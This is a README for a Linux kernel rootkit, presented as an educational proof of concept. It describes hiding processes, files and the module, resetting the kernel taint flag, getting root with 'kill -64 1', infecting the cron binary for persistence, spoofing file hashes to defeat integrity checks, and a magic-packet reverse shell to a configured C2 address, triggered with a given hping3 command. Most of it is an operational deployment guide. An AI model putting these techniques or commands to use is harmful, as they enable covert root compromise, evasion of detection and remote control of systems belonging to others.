This project is a Proof of Concept (PoC) designed for cybersecurity research and educational purposes. It demonstrates how kernel-level rootkits manipulate OS structures (DKOM), hook system calls via Kprobes, and persist using binary injection. It is intended to help security professionals understand kernel exploits to better defend against them.
Do not use this code on systems without explicit permission.
This project is an advanced Loadable Kernel Module (LKM) for Linux x86_64. Unlike user-space malware, this module operates in Ring 0, allowing it to manipulate kernel structures directly to hide processes, network connections, and files from standard administration tools (ls, ps, netstat, lsmod, sha256sum).
It features a complete kill-chain: Persistence (via Cron infection), Stealth (via syscall hooking), Privilege Escalation (via Creds patching), and Remote Access (via Netfilter).
This rootkit is using the infektor program to infect a binary used at boot.
rootkit/
├── Makefile # Kbuild system configuration
├── README.md # Documentation
├── include/
│ ├── config.h # Feature toggles (IPs, Ports, Magic Signals)
│ ├── core.h # Module initialization prototypes
│ ├── hooks.h # Kprobe & Netfilter definitions
│ └── utils.h # Helper functions (memory, credentials)
└── src/
├── core.c # Entry/Exit point & Module hiding logic
├── hooks.c # Implementation of Kprobes (getdents64, kill, reverse shell)
└── utils.c # Root escalation & Process helpers
- File & Process Hiding: Hooks
sys_getdents64to filter directory entries. Files with a specific prefix and the rootkit process are invisible tols,ps,top,htop. - Integrity Bypass (Anti-Tripwire): Hooks
sys_openat. When an admin tries to read/hash the infected binary (cron), the rootkit transparently redirects the read to a clean backup file while maintaining the original filename in the output. Tools likesha256sumreport a valid hash. - Module Hiding (DKOM): Unlinks itself from the kernel's internal
THIS_MODULE->list. Invisible tolsmodandrmmod. - Kernel Untainting: Manually resets the kernel taint flag to 0 to hide the loading of unsigned modules.
- Signal Trigger: Hooks
sys_kill. Sending a specific signal (e.g., 64) to any process grants Root (UID 0) privileges instantly. - Creds Patching: Manually replace all cred of a process to 0 to become a root process
- Cron Injection: Includes a user-space injector (
infektor) that patches the Entry Point of/usr/sbin/cron. - Boot Load: The rootkit is automatically loaded into the kernel every time the
cronservice starts (at boot), without modifying/etc/modulesor systemd services.
- Magic Packet: Inspects incoming TCP packets via
Netfilter. Any packet (accepted or denied) with a specific window size triggers a reverse shell. - Portless: No open ports are visible via
netstatorss.
Since Linux 5.7, kallsyms_lookup_name is no longer exported, making it hard to resolve internal symbols like commit_creds.
Solution: We register a dummy kprobe on kallsyms_lookup_name itself. The kernel forces symbol resolution to place the probe, allowing us to retrieve the function's address from kp.addr dynamically.
To fool sha256sum /usr/sbin/cron while keeping the binary infected:
- Entry Hook (
openat): Detects access to the infected file. It overwrites the user-space path buffer with the path of a clean backup (e.g.,/bin/rg_cron). It saves the original path string. - Kernel Execution: The kernel opens the clean backup file.
- Return Hook: Just before returning to user-space, we overwrite the buffer again with the original path string (
/usr/sbin/cron). Result: The tool hashes the clean file but prints the name of the infected file.
Hooks run in atomic contexts where sleeping is forbidden.
- Uses
GFP_ATOMICfor allocations. - Uses
copy_from_user_nofaultto safely access user memory without triggering page faults.
-
-
Linux Kernel 5.x+ (Tested on Ubuntu 20.04 / Debian 11)
-
Standard build tools: make, gcc, linux-headers-$(uname -r)
-
-
- Edit include/config.h to set your C2 IP and Port:
#define C2_IP "192.168.10.1" #define C2_PORT 4444 #define MAGIC_SIGNAL 64 #define ENABLE_MODULE_HIDING 1 -
make -
sudo insmod rootkit_module.koor do on the target machine :
sudo make load -
kill -64 1To check :
id #> uid=0(root) gid=0(root) ...Any process starting with
PROC_NAMEwill not be shown in/proc/and in any command using it (psfor example)A reverse shell spawns if a TCP packet with as window in the header the value
12345. It will then create a shell from the binary/bin/rg_bash, which is a copy of the/bin/bashbinary.Currently, the TCP connection is not hidden from the user, but the process is.
To send the magic packet, you can use
hping3:hping3 -S -p 80 -w 12345 <IP_ADDRESS> -c 1All files starting with
PREFIXwill not be shown at all. A hook is put on the return of__x64_sys_getdents64to erase from the output every file we don't want the user to see.The infected binary (e.g.,
/usr/bin/cron) will obviously not have the same hash as the real binary, since we had a payload to the real binary. To address that issue, a hook on openat on the infected binary will redirect the user to the original binary (secretly stored, e.g.,/usr/bin/rg_cron).Without the rootkit active:
$ sha1sum /usr/sbin/cron # infected cron 7b65a574a021d2f1e5435c59919967813dea0f0d /usr/sbin/cron // Hash of the infected binaryWith the rootkit active :
$ sha1sum /usr/sbin/cron # infected cron 1acc15c347efc7c8e45e3147ef6f9e44de59df0e /usr/sbin/cron // Hash of the real binary